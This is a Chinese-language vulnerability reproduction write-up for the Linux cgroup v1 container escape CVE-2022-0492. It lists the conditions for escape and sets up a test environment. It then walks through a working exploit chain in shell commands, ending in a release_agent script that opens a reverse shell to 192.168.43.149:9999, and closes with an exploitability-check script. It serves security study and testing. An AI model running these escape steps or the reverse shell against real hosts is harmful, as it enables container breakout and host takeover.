Linux 内核 cgroup v1 逻辑错误导致容器逃逸 CVE-2022-0492¶
漏洞描述¶
该漏洞是由于 control groups(cgroups)中的一个逻辑错误所致。Control Groups(cgroups)是一个 Linux 特性,允许管理员限制、记录和隔离一组进程所使用的资源。Linux 支持两种 cgroup 架构,分别名为 cgroup v1 和 cgroup v2,该漏洞只影响 cgroup v1 架构。
如果容器运行了以下操作,则可逃逸:
- 以 root 用户身份运行,或没有为容器进程设置 no_new_privs 标志;
- 没有启用 AppArmor 或 SELinux 进行保护;
- 没有启用 Seccomp 进行保护;
- 在启用了非特权用户命名空间的主机上运行;
- 隶属于 root v1 cgroup。
或满足下列条件,则可逃逸:
- 具有 CAP_SYS_ADMIN 权限;
- 没有启用 AppArmor 或 SELinux 进行保护;
- 没有创建 cgroup 命名空间;
- 隶属于 root v1 cgroup。
参考链接:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0492
- https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/
- http://terenceli.github.io/技术/2022/03/06/cve-2022-0492
- https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
- https://github.com/Metarget/metarget
环境搭建¶
基础环境准备(Docker + Minikube + Kubernetes),可参考 Kubernetes + Ubuntu 18.04 漏洞环境搭建 完成。
本例中各组件版本如下:
Docker version: 19.03.6
Linux 内核版本 5.4.0-84-generic
:
uname -a
Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
漏洞复现¶
创建禁用了 AppArmor 和 Seccomp 的容器:
docker run -it --name cve-2022-0492 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:latest /bin/bash
AppArmor 和 SELinux 都会阻止挂载,这意味着使用其中任何一种方式运行的容器都受到保护 。如果两者皆禁用,容器可以通过滥用用户命名空间来挂载 cgroupfs。
挂载 cgroupfs 需要在托管当前 cgroup 命名空间的用户命名空间中拥有 CAP_SYS_ADMIN
权限。默认情况下,容器运行时没有 CAP_SYS_ADMIM
权限 ,因此无法在初始用户命名空间中挂载 cgroupfs。但是,通过 unshare()
系统调用,容器可以创建新的用户和 cgroup 命名空间,并在这些命名空间中拥有 CAP_SYS_ADMIN
权限并可以挂载 cgroupfs:
- 第一步,创建一个新的用户和 cgroup 命名空间,它将具有
CAP_SYS_ADMIN
权限:
root@0c782b51c5ac:/# unshare -UrmC bash
并非所有容器都能创建新的用户命名空间—— 宿主机必须启用非特权用户命名空间 。在最近的 Ubuntu 版本中,这是默认设置。由于 Seccomp 会阻止
unshare()
系统调用, 因此只有在未启用 Seccomp 的情况下运行的容器才能创建新的用户命名空间 。
- 第二步,容器在新的用户和 cgroup 命名空间中挂载 root RDMA cgroup:
root@0c782b51c5ac:/# mount -it cgroup -o rdma cgroup /mnt
- 第三步,在 cgroup 中创建一个名为
w
的子组,开启 release agent,设置notify_on_release=1
:
root@0c782b51c5ac:/# d=`dirname $(ls -x /mnt/r* |head -n1)`
root@0c782b51c5ac:/# mkdir -p $d/w;echo 1 >$d/w/notify_on_release
- 第四步,从
/etc/mtab
中提取 cgroup 临时路径,将exp.sh
路径写入/mnt/release_agent
:
root@0c782b51c5ac:/# t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@0c782b51c5ac:/# printf '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.43.149/9999 0>&1' > /exp.sh; chmod 777 /exp.sh
root@0c782b51c5ac:/# echo "$t/exp.sh" > $d/release_agent
- 第五步,创建一个马上终止的进程,当
w
子组的最后一个进程退出时,将激活/mnt/release_agent
:
root@0c782b51c5ac:/# sh -c "echo 0 >$d/w/cgroup.procs"
监听 9999 端口,获取反弹 shell:
也可以通过 CDK 复现。下载 CDK ,并将其传入容器 /tmp
目录下,执行命令:
./cdk run mount-cgroup "whoami" rdma
注意,cdk 默认为 memory cgroup,权限不足,需要指定为 rdma。
漏洞 POC¶
can-ctr-escape-cve-2022-0492.sh
#!/bin/bash
echo "[*] Testing whether CVE-2022-0492 can be exploited for container escape"
# Setup test dir
test_dir=/tmp/.cve-2022-0492-test
if ! mkdir -p $test_dir ; then
echo "ERROR: failed to create test directory at $test_dir"
exit 1
fi
# Test whether escape via CAP_SYS_ADMIN is possible
if mount -t cgroup -o memory cgroup $test_dir >/dev/null 2>&1 ; then
if test -w $test_dir/release_agent ; then
echo "[!] Exploitable: the container can escape as it possesses CAP_SYS_ADMIN and runs without AppArmor or SELinux. Note that it likely doesn't need CVE-2022-0492 to escape."
umount $test_dir && rm -rf $test_dir
exit 0
fi
umount $test_dir
fi
# Test whether escape via user namespaces is possible
while read -r subsys
do
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $test_dir 2>&1 >/dev/null && test -w $test_dir/release_agent" >/dev/null 2>&1 ; then
echo "[!] Exploitable: the container can abuse user namespaces to escape"
rm -rf $test_dir
exit 0
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
# Cannot escape via either method
rm -rf $test_dir
echo "[+] Contained: cannot escape via CVE-2022-0492"